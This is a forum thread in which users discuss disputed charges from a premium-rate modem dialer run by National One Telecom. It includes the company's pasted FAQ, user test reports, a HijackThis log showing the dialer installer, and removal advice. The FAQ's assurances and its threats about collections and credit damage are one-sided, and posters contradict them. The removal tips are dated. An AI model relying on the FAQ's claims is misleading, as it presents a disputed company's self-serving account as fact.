Thats correct. Our clients billing software connects to a Premium Internet Service Provider, which allows your computer to connect to premium website content via a special international number. Almost all computers have a modem. As long as there is a phone line that can be connected to the computer, you can use the service, even if you dont have a dial up Internet access.

back to top

9. I have DSL or Cable, so how can I be charged for a dialup Internet connection?
Our clients billing software dials into a Premium Internet Service Provider through a special international telephone number. As long as there is modem is inside your computer, the call can be successfully made regardless if you have high speed Internet or not.

back to top

10. What if I refuse to pay?
Under the Telephone Disclosure and Dispute Resolution Act (TDDRA) there are rights and protections for both the consumer and the business. You have the right to dispute a charge in writing if you feel there is a billing error. Under TDDRA we must investigate any disputes and adjust your bill if we determine there is an error. If our investigation determines that there are no billing errors, we will provide you with evidence that supports our result we will expect payment within 10 days. If you still refuse to pay, we will forward you to a licensed collection agency in order to secure payment as well as charge you additional collection agency and attorney fees that we incur.

If you simply ignore our past due invoice and let your account default without bothering to dispute the charge you will forfeit your TDDRA rights. In this case, once your account is in default it will be transferred to a licensed collection agency.

back to top

11. Can my credit score be affected by this?
If you are delinquent or default on your payment of if you refuse to make a payment after we complete our investigation and prove to you that the call came from your computer, the collection agency will note it on your credit report on our behalf and your credit score will be affected.

A default note on your credit report will have a long term negative impact on your ability to gain credit.

back to top

12. Can you give me a summary of my billing rights?
To view a summary of your billing rights please click here.

back to top

13. Nobody in my household admits to making the call.
According to our records we have traced the call back to your household. We would recommend that you visit www.winwhatwhere.com which will allow you to install software that can supply you with a log of all Internet web sites that have been accessed from your computer. Furthermore, we urge you to exercise your billing rights and contact customer service to request an investigation on this matter. Once we complete our investigation we will respond back to you with our results.

back to top

14. Who accessed the information? How can I find out?
That is difficult for us to say. We know that the person had access to your computer as well as a phone line. If you request an investigation, we can attempt to find evidence on who may have made the call although chances are we may not be able to find much on the specific user. What we can offer you in our investigation results however is proof without a reasonable doubt that the service was accessed from your computer OR that there was a billing error and that you are due for a credit on your bill.

If we do determine that there is proof without a reasonable doubt that the call came from your computer, you might want to do a little detective work to find out who made the call. We recommend taking advantage of software programs that allow you to monitor usage and even email you updates on what your computer is doing when you are at work.

A good software application for this is Child Safe at www.webroot.com/childsafe1.html

You may download a free trial of this software at www.webroot.com/down1.htm

We also recommend the software which we mentioned previously www.winwhatwhere.com

back to top

15. How do you know it was my number that called?
Once a call has been placed by your dialup modem to the special international telephone number, your phone number is instantly traced. From there your phone number is submitted to us and we bill you for any international long distance and entertainment fees incurred.

If you are not convinced that a call has been made from your computer, please contact customer service to request further information about this. Please fill out the form completely and a customer service representative will email you with more information within 24 hours.

back to top

16. Is there a chance that a billing error may have occurred?
The chance that a billing error may have occurred is extremely rare. Regardless nothing is 100% perfect and there have been instances in the past where users have been incorrectly billed. If you feel that a billing error may have occurred you are free to dispute the charge by contacting customer service. We will conduct an investigation and will notify you of our results. If we determine that a billing error did in fact occur, you will be credited for that charge and no further collection actions will occur for that particular charge.

In most but not all cases, if a billing error was discovered the user had their entire bill credited and they no longer owed any payment to us. In such cases we write off the entire balance and block their phone number from making any future calls until we determine how the billing error occurred. Upon the users request we may also permanently block their phone number.

back to top

17. Can you tell me what kind of site was accessed?
Yes we can. To obtain this information please contact customer service. We will investigate this on your behalf and find out what site was accessed as well as any other information that we may find.

back to top

18. What if a minor made the call?
As far as we know, it was an adult phone subscriber who made the call. Our clients specifically avoid sites that are targeted to children.

Generally speaking the responsibility for phone charges falls on the telephone line subscriber. Although this may not seem fair, there are a variety of ways that a subscriber can control this form of billing, thus putting the responsibility on the parent to supervise their children in their home on their computer using their telephone service.

Here is a similar example:

If you lend your car to your son or daughter and they receive a parking ticket but do not tell you about it, who is ultimately responsible for the ticket?

You as the car owner are, because the assumption is that the owner has ultimate control over who, how, and when the vehicle was used.

For reference, consider the following information or contact your states Public Utilities Commission or Public Service Commission.

From the Massachusetts Attorney General web site

Q: If my minor children made calls to a 900 number, am I responsible for the charges? - Beverly from Mattapan, MA

A: Beverly, the general rule is yes, the consumer of record is responsible for any calls made on his or her telephone. In addition to 900 numbers, pay-per-call services may also include long distance or international numbers, or a local number from which the service calls you back collect.

From the Michigan Public Service Commission website:

It doesn't matter who dialed the 900 number  a minor, a guest or someone working in your home  the call will be billed to the telephone number of a call's origination and the billed party will be responsible for paying the charges. These 900-number service providers are usually unable to verify authorization or the age of callers and are not required to do so.

You may consider contacting your telephone company and requesting them to block all 900 calls, international calls, and third party bills. You may also request a block on our billing platform by contacting customer service. Installing some parental control software such as www.netnanny.com and www.smartparent.com so you can selectively block Internet sites will help tremendously too. Finally using usage monitoring applications such as www.winwhatwhere.com will ensure that both you and your minor children are aware that their Internet access is monitored now.

back to top

19. Why dont you use 900 numbers? Are you trying to avoid 900 number blocks?
Our reason for not using 900 numbers is purely economical. Long distances transport charges billed to our clients for 900 numbers are 8 to 10 times more expensive than long distance transport charges for international numbers. Furthermore major carriers such as AT&T and MCI are not accepting new 900 number clients, instead forcing them to go through a reseller causing the cost to use a 900 number to be even higher.

We are more than happy to block any customer on our platform so they can never be billed by us again. Please contact customer service if you wish to do this.

If you already have a 900 number block on your phone, we recommend that you call your local carrier and request an international number and third party billing block. There recently has been a boom in the industry in using alternative 900 like telephone services such as international phone numbers to bill for premium rate calls.

back to top

20. How do I remove the software from my computer?
Please contact customer service. They will be able to assist you in removing the billing software from your computer.

back to top

21. I was connected without my knowledge.
This is not likely. There is absolutely no way that the billing software our clients have developed would connect you without your knowledge. Before the software can dial out, you are given a disclosure which clearly displays the cost of the call as well as other important information. In addition, when the disclosure is accepted the modem dialing out the number can be heard very clearly as well as the loud modem tones that follow after the dialing process.

While your modem is synchronizing with the terminating modem, you are not being billed. Billing begins as soon as the content has been loaded.

back to top

22. Could there be more calls that were not on my statement?
As long as the billing software is still installed on your computer that is a possibility. Billing is processed on a weekly basis for all calls made on that week.

We have thresholds in place to help stop abusive usage that would create unreasonably high phone bills. Thresholds are another example on actions we take to protect the telephone line subscriber.

Our current thresholds limit use to 60 minutes per month.

back to top

23. Can I see the disclosure that is used for the billing software?
A sample disclosure can be seen by clicking here.

back to top

24. I still have other questions or I still have doubts over the calls I have been billed for.
If you have any questions please feel free to contact customer service.

If you have doubts over the calls that you have been billed for, you are more than welcome to dispute your charge by contacting customer service and filling out our form on our site. We will promptly email you back the results of our investigation. If the calls have been in fact made from your computer, we can prove without a reasonable doubt that this has occurred. Of course if in a rare instance we find out that a billing error has occurred, wed be more than happy to remove the charges from your bill.

We are confident that we can answer all your questions and resolve any confusion that you may have.

back to top


----------



## ~Candy~

Now, to go run adaware, spybot, a virus program etc.


----------



## Guest

AcaCandy said:


> Now, to go run adaware, spybot, a virus program etc.


LOL that'll teach ya!


----------



## ~Candy~

Someone has to be the guinea pig 

Hmmm....can't find anything, I wonder if running spyware blaster didn't allow the dialer to install.


----------



## angelize56

You could also try filing a report at the Bad Business Bureau online.

"Unlike the Better Business Bureau, badbusinessbureau.com / Rip-off Report does not hide Reports of "satisfied" complaints. ALL complaints remain public in order to create a working history on the Company or Individual in question; unedited".

http://www.ripoffreport.com/login.asp

They already have lots of complaints reported against National One here:

http://www.ripoffreport.com/results...mit2=Search!&q4=&q6=&q3=&q2=&q7=&searchtype=0

Take care and best of luck to all! angel


----------



## Spectrex

AcaCandy said:


> Someone has to be the guinea pig
> 
> Hmmm....can't find anything, I wonder if running spyware blaster didn't allow the dialer to install.


Actually, I've found that those programs won't detect it. It may have to be added to thier database. Perhaps we should contact the software's designers and ask that they be researched.

In the meantime, try to search for possible hijacking files. Try searching your system for these:

DialInstaller3.dll
NationalOneCtl.dll

Then search your registry for anything like national or nationalone, or the above filenames. Maybe that will show something. You can also check for recently created folders and files (around the time when the calls were supposed to be placed) that look suspicious. Yes, it'll take some time, but it might be worth it. I will give it a try on my computers when I have time.

I noticed that they said that billing problems were rare.... HA!

They also said that the software is created by thier clients. If so, then how do they know for a fact that the software asks for permission before installing or dialing. Also, how does the warning message look on the screen? Is it look like one of those annoying error messages that most people just click on to get it out of the way? That would be really underhanded... but not above that company, if the previous posts are any indication of thier usual business practices.

Hmmmm.... still waiting for an explaination from mr. nationalone. Guess he's getting ready to leave the country. Maybe you'll see him in Acapulco soon, Candy.


----------



## ~Candy~

We have our own cons in Acapulco, thank you 

Could not find either of the dlls on my system.

Will scan registry later. I checked on spyware blaster, and there is a dialer entry on the prohibted list, not sure if that is what stopped it or not.

Maybe I should turn that off and try it again


----------



## [email protected]

This has been an amazing read... but you knwo what comes to my mind first

I wonder how many people have paid those bills, thinking they must have been lookin at some porno and they feel guilty about it and dont even question it!!!


GET CABLE PEOPLE!!


----------



## southernlady

One thing I did notice on the Rip Off Reports web sites, is that they are going to be setting up a class action lawsuit area. I wonder how the word could be gotten out for everyone who has been BITTEN by this scam to be identified and allowed to join? 

Not that we've been bitten, I've checked! Liz


----------



## QLeaping

Gang,

I went to the website that I "supposedly" visited in the first place. The website was for "free nude celebrity photos." It came up in a search I was doing for a bridal registry and unfortunately this bride has a common enough name that there is also a porn star with the same name. (Trust me my friend is not the porn star of the same name.)  After I received the bill which was a surprise to me. I went back to that google search because that was what I was doing the night I was being billed for. I decided to click on the nude celebrity site just to see if you are truly given a disclaimer about charges. On the night I decided to do this I physically wrote down the time I turned the computer on, the time I went into the site, the time I got out of the site and the time I turned my computer off. I went into the site and the only box that comes up asks you if you are 18 and if you are responsible for the phone service in your home or something like that. That is the only box that comes up and asks you anything. There is absolutely no box that comes up telling you that you will be charges for anything. So I clicked yes or whatever and it took me to the site. I immediately got out of the site and documented the time. This whole process took less than one minute. I did this as a test - stupid perhaps, but I wanted to be sure that in no way, shape, or form were charges ever agreed to. Well after about two weeks, my Qwest bill came and low and behold the night I did my test I had incurred 4 minutes of calls to the UK. My test notes said that the process did not take more than a minute, but I was charged for 4 minutes. ( used the second hand on my watch this is not an estimate.) On my bill the 4 minutes were billed under Tellis. The original minutes from the first National One bill were on there too. But the curious thing is that there are also 2 minutes charged under One Call Communications to another number in the UK for a time that was after I shut the computer off. This is how I know without a doubt that National One is full of crap!!!!!!!!!!!!!!!!!!!
Also all three call charges were to three different phone numbers in the UK.

So they lie, even if you do visit a porn site that says "free" it's not. And there is no disclaimer box telling you about charges. The box that asks if you are 18 and if you own the phone line is all it says. They cannot say from agreeing to that question you agree to pay mega bills for calls to the UK or a pay-per-view site. Also how easy is it for the kids in the house to get in there. I supposedly have the AOL parent guards on there and this porn site came up in a simple search for a girls bridal registry. And I was charged for a call after I turned the computer off and went to bed. So they can just have their little information on their website all they want. It is a bunch of lies and I have proved it. Also, after I threatened the Tellis girl and she supposedly called National One about my bill, she said she is issuing a credit. If they are so sure they are right, why are they jumping on credits. Also, I am wondering why I haven't received a second bill for my re-visit test from National One. It showed up on my phone bill, but I have not seen a second bill from them. Nor have I received a late fee bill yet for the first bill I disputed. I really don't think I am going to hear from them again. But if I do - look out National One - I have only just begun to fight!!!!


----------



## ~Candy~

Interesting. Can you PM or email me the link you used. This is a test machine, a format c: is not a big deal


----------



## Guest

AcaCandy said:


> Interesting. Can you PM or email me the link you used. This is a test machine, a format c: is not a big deal


You're a die hard, Candy Girl.


----------



## ~Candy~

Lol, I just downloaded MSN plus for some little kid trying to talk to me, it immediately wanted to change my home page, search bar, add plug ins 

Dang, it did change one thing before I caught it  Off to run hijack this


----------



## Flrman1

Candy! As much as you've been around the Security forum, you still didn't know that Messenger Plus installs LOP malware! 

http://www.jaddo.net/modules.php?name=News&file=article&sid=172

*Smack*


----------



## ~Candy~

It tried, but I have spywareblaster, and it alerted me...........I think I'm ok now 

It did put a BHO and one other thing, I did say yes to something though, I thought I'd get some nifty icon on the browser bar  Then I said no to everything else.


----------



## ~Candy~

Logfile of HijackThis v1.98.0
Scan saved at 2:30:05 PM, on 7/1/2004
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
K:\WINDOWS\System32\smss.exe
K:\WINDOWS\system32\winlogon.exe
K:\WINDOWS\system32\services.exe
K:\WINDOWS\system32\lsass.exe
K:\WINDOWS\system32\svchost.exe
K:\WINDOWS\System32\svchost.exe
K:\WINDOWS\system32\spoolsv.exe
k:\PROGRA~1\mcafee.com\vso\mcvsrte.exe
K:\WINDOWS\System32\svchost.exe
k:\PROGRA~1\mcafee.com\vso\mcshield.exe
K:\WINDOWS\Explorer.EXE
K:\PROGRA~1\mcafee.com\vso\mcvsshld.exe
K:\PROGRA~1\mcafee.com\agent\mcagent.exe
k:\progra~1\mcafee.com\vso\mcvsescn.exe
K:\Messenger Plus! 3\MsgPlus.exe
K:\PROGRA~1\timedvdmeta\Send user build.exe
C:\AIM\aim.exe
K:\SpywareGuard\sgmain.exe
K:\SpywareGuard\sgbhp.exe
K:\Program Files\MSN Messenger\MsnMsgr.Exe
k:\progra~1\mcafee.com\vso\mcvsftsn.exe
K:\Program Files\Messenger\msmsgs.exe
K:\Program Files\Internet Explorer\iexplore.exe
K:\Program Files\Outlook Express\msimn.exe
K:\Documents and Settings\Chava Gata\Desktop\Hijack This\HijackThis.exe

F0 - system.ini: Shell=
F2 - REG:system.ini: UserInit=K:\WINDOWS\system32\userinit.exe,
O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - K:\Acrobat 6.0\Acrobat\ActiveX\AcroIEHelper.dll
O2 - BHO: SpywareGuard Download Protection - {4A368E80-174F-4872-96B5-0B27DDD11DB2} - K:\SpywareGuard\dlprotect.dll
O2 - BHO: Google Toolbar Helper - {AA58ED58-01DD-4d91-8333-CF10577473F7} - k:\program files\google\googletoolbar1.dll
O2 - BHO: AcroIEToolbarHelper Class - {AE7CD045-E861-484f-8273-0445EE161910} - K:\Acrobat 6.0\Acrobat\AcroIEFavClient.dll
O2 - BHO: (no name) - {D714A94F-123A-45CC-8F03-040BCAF82AD6} - K:\WINDOWS\Downloaded Program Files\SbCIe028.dll
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - K:\WINDOWS\System32\msdxm.ocx
O3 - Toolbar: Adobe PDF - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - K:\Acrobat 6.0\Acrobat\AcroIEFavClient.dll
O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - k:\program files\google\googletoolbar1.dll
O3 - Toolbar: McAfee VirusScan - {BA52B914-B692-46c4-B683-905236F6F655} - k:\progra~1\mcafee.com\vso\mcvsshl.dll
O4 - HKLM\..\Run: [VSOCheckTask] "k:\PROGRA~1\mcafee.com\vso\mcmnhdlr.exe" /checktask
O4 - HKLM\..\Run: [VirusScan Online] "k:\PROGRA~1\mcafee.com\vso\mcvsshld.exe"
O4 - HKLM\..\Run: [MCAgentExe] k:\PROGRA~1\mcafee.com\agent\mcagent.exe
O4 - HKLM\..\Run: [MCUpdateExe] K:\PROGRA~1\mcafee.com\agent\mcupdate.exe
O4 - HKLM\..\Run: [NeroCheck] K:\WINDOWS\system32\NeroCheck.exe
O4 - HKLM\..\Run: [MessengerPlus3] "K:\Messenger Plus! 3\MsgPlus.exe"
O4 - HKLM\..\Run: [Optioninternet] K:\PROGRA~1\timedvdmeta\Send user build.exe
O4 - HKCU\..\Run: [AIM] C:\AIM\aim.exe -cnetwait.odl
O4 - HKCU\..\Run: [MessengerPlus3] "K:\Messenger Plus! 3\MsgPlus.exe" /WinStart
O4 - HKCU\..\Run: [msnmsgr] "K:\Program Files\MSN Messenger\MsnMsgr.Exe" /background
O4 - Startup: SpywareGuard.lnk = K:\SpywareGuard\sgmain.exe
O4 - Global Startup: Adobe Gamma Loader.lnk = K:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe
O4 - Global Startup: Microsoft Office.lnk = C:\Microsoft Office\Office\OSA9.EXE
O8 - Extra context menu item: &Google Search - res://k:\program files\google\GoogleToolbar1.dll/cmsearch.html
O8 - Extra context menu item: Backward &Links - res://k:\program files\google\GoogleToolbar1.dll/cmbacklinks.html
O8 - Extra context menu item: Cac&hed Snapshot of Page - res://k:\program files\google\GoogleToolbar1.dll/cmcache.html
O8 - Extra context menu item: Si&milar Pages - res://k:\program files\google\GoogleToolbar1.dll/cmsimilar.html
O8 - Extra context menu item: Translate into English - res://k:\program files\google\GoogleToolbar1.dll/cmtrans.html
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - (no file)
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - (no file)
O9 - Extra button: SideStep - {3E230861-5C87-11D3-A1C6-00105A1B41B8} - K:\WINDOWS\Downloaded Program Files\SbCIe028.dll
O9 - Extra button: Messenger - {4528BBE0-4E08-11D5-AD55-00010333D0AD} - (no file)
O9 - Extra 'Tools' menuitem: Yahoo! Messenger - {4528BBE0-4E08-11D5-AD55-00010333D0AD} - (no file)
O9 - Extra button: AIM - {AC9E2541-2814-11d5-BC6D-00B0D0A1DE45} - C:\AIM\aim.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - K:\Program Files\Messenger\MSMSGS.EXE
O9 - Extra 'Tools' menuitem: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - K:\Program Files\Messenger\MSMSGS.EXE
O16 - DPF: {3299935F-2C5A-499A-9908-95CFFF6EF8C1} (Quicksilver Class) - http://scpwla.ops.placeware.com/etc/place/LIMA/SCLpws-a1/5.1.2.150/lib/quicksilver.cab
O16 - DPF: {490A8CDE-1C48-4727-A5EF-E548E58FAD0F} (VoiceTech Voice Control (Firewall) ) - http://voip.livemeeting.com/Stage/vtgateway/vtvcfe.cab
O16 - DPF: {4ED9DDF0-7479-4BBE-9335-5A1EDB1D8A21} (McAfee.com Operating System Class) - http://download.mcafee.com/molbin/shared/mcinsctl/en-us/4,0,0,83/mcinsctl.cab
O16 - DPF: {640B39C1-D713-464F-92C3-75BD972B95EE} - http://download.sidestep.com/get/k00719/sb028.cab
O16 - DPF: {AF79E570-84C6-11D5-8C2B-00304F10A79B} (Installer2 Class) - http://nationalone.com/bin/NOCInstaller3.dll
O16 - DPF: {B27D9991-C76E-4DE2-89BF-8B776BDDF656} (INVC Participant Console 1.53) - http://www.intechnologies.net/in/clients/participant/bin/INParticipant.cab
O16 - DPF: {B9191F79-5613-4C76-AA2A-398534BB8999} (YAddBook Class) - http://us.dl1.yimg.com/download.yahoo.com/dl/installs/suite/autocomplete.cab
O16 - DPF: {BCC0FF27-31D9-4614-A68E-C18E1ADA4389} (DwnldGroupMgr Class) - http://download.mcafee.com/molbin/shared/mcgdmgr/en-us/1,0,0,20/mcgdmgr.cab
O16 - DPF: {F58E1CEF-A068-4C15-BA5E-587CAF3EE8C6} (MSN Chat Control 4.5) - http://fdl.msn.com/public/chat/msnchat45.cab

What is senduserbuild.exe?


----------



## ~Candy~

O16 - DPF: {AF79E570-84C6-11D5-8C2B-00304F10A79B} (Installer2 Class) - http://nationalone.com/bin/NOCInstaller3.dll

OH NO 

It did put it there  Think I'll plug a phone line in and see what happens


----------



## Guest

AcaCandy said:


> O16 - DPF: {AF79E570-84C6-11D5-8C2B-00304F10A79B} (Installer2 Class) - http://nationalone.com/bin/NOCInstaller3.dll
> 
> *OH NO
> 
> It did put it there  Think I'll plug a phone line in and see what happens *


And she flirts with the enemy.


----------



## ~Candy~

As a side note Mark, the little kid I was talking to is in Acapulco and he was on his father's computer 

Which I fix 

Change of pace Kath, flirting with friends gets boring


----------



## Leann422

I recieved two united kingdom charges on my phone bill from USBI billed on behalf of Telliss. Does anyone know who "USBI" or "Telliss" is?


----------



## ~Candy~

Welcome to the scam club Leann, don't mind us, we're just testing things now  Or should I say, I'm testing things 

http://www.telliss.com/

http://www.billview.com/usbi/

http://www.ripoffreport.com/reports/ripoff97254.htm


----------



## Leann422

Okay i just called USBI, who then transferred me to Telliss. I spoke to their customer service people, and they told me they connected the call from my computer. I've never heard of this company!


----------



## ~Candy~

See my link above?

O16 - DPF: {AF79E570-84C6-11D5-8C2B-00304F10A79B} (Installer2 Class) - http://nationalone.com/bin/NOCInstaller3.dll

Look for that dialer entry and get rid of it. Download Hijack This from:

http://www.spywareinfo.com/~merijn/downloads.html


----------



## Flrman1

Candy

Fix this:

*O4 - HKLM\..\Run: [Optioninternet] K:\PROGRA~1\timedvdmeta\Send user build.exe*

Delete the K:\PROGRA~1\timedvdmeta folder.


----------



## Flrman1

Fix this one too:

*O16 - DPF: {640B39C1-D713-464F-92C3-75BD972B95EE} - http://download.sidestep.com/get/k00719/sb028.cab*


----------



## ~Candy~

I use sidestep though, I like it. Will that do anything to it?

Oh, and what about my dialer  



flrman1 said:


> Candy
> 
> Delete the K:\PROGRA~1\timedvdmeta folder.


Access denied, guess I need to do that in safe mode 

Nevermind, I killed the other process and it allowed me to delete it  I'm learning


----------



## Flrman1

You can keep SideStep if you want to, but it is considered spyware. It collects info about services you purchase, sites you use and offers you have accepted. It also gathers the stuff you provide to travel companies if you buy something from them, including itinerary data like names, dates of travel, origination point, destination and payment information.

It's you're call, but I wouln't want it.


----------



## Flrman1

If you're going to get rid of it you need to fix this one too:

*O2 - BHO: (no name) - {D714A94F-123A-45CC-8F03-040BCAF82AD6} - K:\WINDOWS\Downloaded Program Files\SbCIe028.dll*

I missed it the first time!


----------



## ~Candy~

Thanks Mark, I appreciate your input. I don't actually buy anything thru it, I just use it as a tool to find lower airfares, then go to that airline's website and do my purchase there.


----------



## Flrman1

:up:


----------



## ~Candy~

Of course, they are probably STILL collecting something from me....but I guess it's not that dangerous


----------



## scrapser

I just finished searching through my registry and found several entries using "nationalone" as my seach word. Since there's no Uninstall in the Add/Remove Programs on the Control Panel, is it adviseable to delete these entries? Thanks

scrapser


----------



## Holly3278

Hey, I'm not sure who exactly is experiencing the problem because I went directly to the last page in this thread but I do have a suggestion. It sounds to me like you have a malicious dialer program on your computer. I would highly recommend downloading Spyware Blaster at http://www.majorgeeks.com/download2859.html. This program is freeware and PREVENTS spyware like malicious dialers from ever getting on your system in the first place. Make sure that you update it and enable the protection as soon as you get it. I have used this software for a long time now and I it prevents the vast majority of spyware from ever getting on the computer. I also use Spyware Guard which is freeware that you can get at http://www.majorgeeks.com/download3045.html. It is also a prevention tool.


----------



## $teve

AcaCandy said:


> Of course, they are probably STILL collecting something from me....but I guess it's not that dangerous


Hmmm  Im saying nothing


----------



## southernlady

Hey, Candy



> Want to know how you got infected and how to help prevent it?


 as Steve says? Liz


----------



## ~Candy~

Ya, Ya, Ya, do as I say, not as I do  

It's an experiment  For a good cause.


----------



## Spectrex

scrapser said:


> I just finished searching through my registry and found several entries using "nationalone" as my seach word. Since there's no Uninstall in the Add/Remove Programs on the Control Panel, is it adviseable to delete these entries? Thanks
> 
> scrapser


Yes, but make sure you backup your registry file first, just in case something gets screwed up. If you have XP, ALSO do a system restore save point first.


----------



## scrapser

Spectrex,
Thanks. To the board, I want to ask what software is out there that will clean the registry. I'm assuming this NationalOne garbage is not part of any protection software's list of malicious code. So, is there something I can install that I can have erase the targeted code while preserving the integrity of the registry?

Thanks


----------



## Spectrex

You can try Ad-Aware and Spybot. Both are good programs, but they may not catch the things related to National One.

This board seems to have gotten quiet all of a sudden. Where'd everybody go? Did the big, bad, National One monster get them?


----------



## QLeaping

Hey I was wondering that myself. What happened with MemphisMark? He's not updated us on the ABC thing yet.   

I'm over a week past the due date of my bill. I'm still waiting for the late bill with added charges and threats to be turned over to collections. I'm hoping that they packed it up and that I never get another bill.  

I have received replies from the FBI and the FTC saying that they received my complaints and have someone looking into it and if they need more information, they will contact me. I hope they do!!! :up: 

QLeaping


----------



## pactogie

I was back tracking on the National one invoices and noticed when I received the first ill from National One, the invoice shows generated on behalf of Sunrise. To dispute the charges, write to : National One Telecom P.O. Box 10007 Bedford NH 03140. When I received the past due bill. This time invoice says generated on behalf of TIBS. And write to: National One Telecom P.O. Box 10428 Bedford, NH 03110. Two different addresses. Duhhhhhhh. Go figure. Very legit huh? It's been a month since National one told the BBB of New Hamphire they'll give me a full credit as a curtesy. I haven't seen any more bills. As matter of fact, I got two credits on my phone bill for the same charges incurred related to USBI. I should be so lucky. I'm sure the phone company will adjust it next month.


----------



## Spectrex

Hmmm... even the moderator has left. Wierd!


----------



## QLeaping

Hey Pactogie,

What you found on the bills is so very interesting. Why would you have two different places to dispute and two different places generating the bill if it is related to one charge? They are so dang sneaky. My bill went to the TIBS address and the dialer that Spy Sweeper found on my computer was also TIBS. Your research shows that the bills are related to the dialers. Very interesting! About the phone bill part - you should be good if the USBI part has been credited. Qwest told me that they do not bill for the USBI part. They told me that they will re-bill USBI for the charges and it is USBI's responsibility to re-bill me for the charges. Qwest removed them from my bill. They were cool about it. I'm waiting for the credit from them as well. I filed my dispute and haven't heard a thing. Hoping - I'm done with it.  

Where did everyone go on this forum? It's spooky  

QLeaping


----------



## reelnative

Wow, what an interesting site. I found it after I received a bill just as everyone else had *(invoice#237979). * I used their home page to ask about the bill, they responded within 15 minutes. I replied asap disputing the charges and have not heard back although they say they will in 72 hours or less. Luckily for me we are associated with the BBB and AG for the state of FL. It will be interesting to see the outcome. I will keep you posted.


----------



## ~Candy~

Hi reelnative, welcome to TSG!

Good luck and yes, please do keep us posted.


----------



## Deke40

I have been seeing this thread and didn't tap in until today.

My best suggestion (if not already given) is to spring for the extra $40 are so and get a cable connection. $40 is cheaper than all the bouts of high bloodpressure from dealing with these types of problems.


----------



## scrapser

reelnative...
I had a similar experience but be warned! I contacted them through their online customer service form and received a reply within an hour saying the bill was a mistake, that my "account" was being credited, and no further action would be taken. Then, the next day I came home to find a huge email from them explaining their billing process and asking me to contact them to indicate how I intended to pay my bill. I refuted it again and "mysterious George" told me unfortunately the bill was valid. From there I took official action.

I have a cable modem and the number they claim I used has been disconnected for well over 9 months. I think the phone dialer everyone is talking about only installs if You have an active dial up modem. I searched my PC with Spy Sweeper and it found nothing except some entries in my registry.

scrapser


----------



## ~Candy~

It installed on my system and I do not have an active dial up modem. It's there, but there are no dialup settings. If Candy gets a phone bill from her little test, there will be hell to pay


----------



## Deke40

I found this in Candy's post:

9. I have DSL or Cable, so how can I be charged for a dialup Internet connection?
Our clients billing software dials into a Premium Internet Service Provider through a special international telephone number. As long as there is modem is inside your computer, the call can be successfully made regardless if you have high speed Internet or not.

I wouldn't think this is possible with a good firewall and cable as my internal appears to be deactivated as best I can tell.


----------



## ~Candy~

Well, I didn't visit any of their so called 'clients' websites...........so we shall see


----------



## memphismark

Hey Guys....
Sorry I haven't been on in a week or so, but I was advised not to say anything more. But today, I was interviewed by ABC & UPN and the whole story of National One will be told to the midsouth... I have yet to hear a word from National One, although I have mailed them, and sent several letters through their email. One Call was kind enough to immediately removed the charges from my phone bill, however, I am still fighting with Telliss, who insists that they have to get verification from National One that my charges are being disputed. I've gone through all the proper channels, reported them to FCC, FTC, FBI and others. But hopefully when millions of people hear my story tonight, it will make a difference. I'll let you all know, and thanks again for all your support through this.


----------



## QLeaping

MemphisMark,

That's great news!! Wish I lived in the midsouth to catch the story!!!!   

I'm betting that you won't be billed again. I threatened Tellis that I was going to contact John Ashcroft and she called National One to verify my dispute. She called me back within the hour and said she was issuing a full credit. I have yet to be billed again from National One and I have yet to hear from them reguarding my dispute!!! 

They are probably busy packing - keep up the great work!!!! :up: 

QLeaping


----------



## memphismark

Oh, I forgot about this part. I contacted VeriSign about the Microsoft Authenticode Certificate that is posted on the National One site. Although, Candid Publishing was granted the certificate (which means nothing, I think my dog could get one), the fact that it automatically downloads without permission was very interesting to the people at VeriSign. They went to the site while I was on the phone with them, told me the Certificate was home made, and the autodialer was downloaded into VeriSigns computer. He told me..."hmm...very interesting. I think I'll show this to our legal department." Hahaha....so screw you too, Candid Publishing. You're as guilty as National One. You probably are National One. We can only hope that the AP picks the Midsouth story up on ABC tonight and broadcasts it across the country.
Mark


----------



## angelize56

memphismark: :up: This gets more interesting by the minute! 

Candy: I have every confidence in the world if anything shows up on your phone bill there will be more than heck to pay!


----------



## memphismark

wow...now don't this beat all. After I emailed "george" and his pals at National One this afternoon about the story to appear on ABC and UPS, guess what? They emailed me back with some auto response crap about how they'll call me within 24 hours to resolve the issue. LOL. I think I'm doing very well on my own, George. Thanks, but no thanks.
Mark


----------



## QLeaping

Mark,

Of course you had an auto-response, they are on the run!!!! I'm sure everything is packed except the computer until they figure out what to call themselves next time they open shop and start another scam all over again!!!

I am just sitting here chuckling about this. Imagine Peter Jennings reporting on this tonight!!!  

Thanks again for all your hard work on this!!!! I only wish all those innocent people who paid the bills could be compensated!!!  

QLeaping


----------



## memphismark

maybe then can, QL, maybe they can....LOL

*sits contemplating class action... 

Mark


----------



## hrznfrd

tendoboy101 said:


> the other day in the mail i got a bill from national one telecom, telling me i accessed one of their pay per view sites. but inever did. the day and time specified, there was no one even at my house. and there is no number to get back to them or anything. never once on my computer did a site say it was pay per view, nor did i go to a site out of the ordinary...is this a scam? i dont really know where else to ask on this board.


I also was a victim with National One. They emailed me and I opened it up. Shouldn't have but I did. A month later a get an outrageous bill for entering a site that I didn't access or agree upon making any payments. I opened up the email and looked around. I didn't hit anything stating that I would be billed by phone or any other way. I closed it out and what do you know I get bill. For what?????????? Don't know but they charged me. Then I emailed them. George emails me back and explains to me that I need to pay that if I didn't enter the site someone else did like a child. I told him that they emailed me and that I didn't access anything that made me liable for payment of any kind. Then he writes back and says the matter has been resolved and closed. Then a few months later I get a bill for an outrageous amount. I emailed him back and explained the situation AGAIN, but no response. It's kind of weird that if a company like this only has one person George for the entire company to answer everyone. Well anyways I've been emailing him for god knows how long, still no response. I didn't enter the site and obligated myself in anyways to pay for something that I didn't agree to. What a bunch of crooks.


----------



## hrznfrd

hrznfrd said:


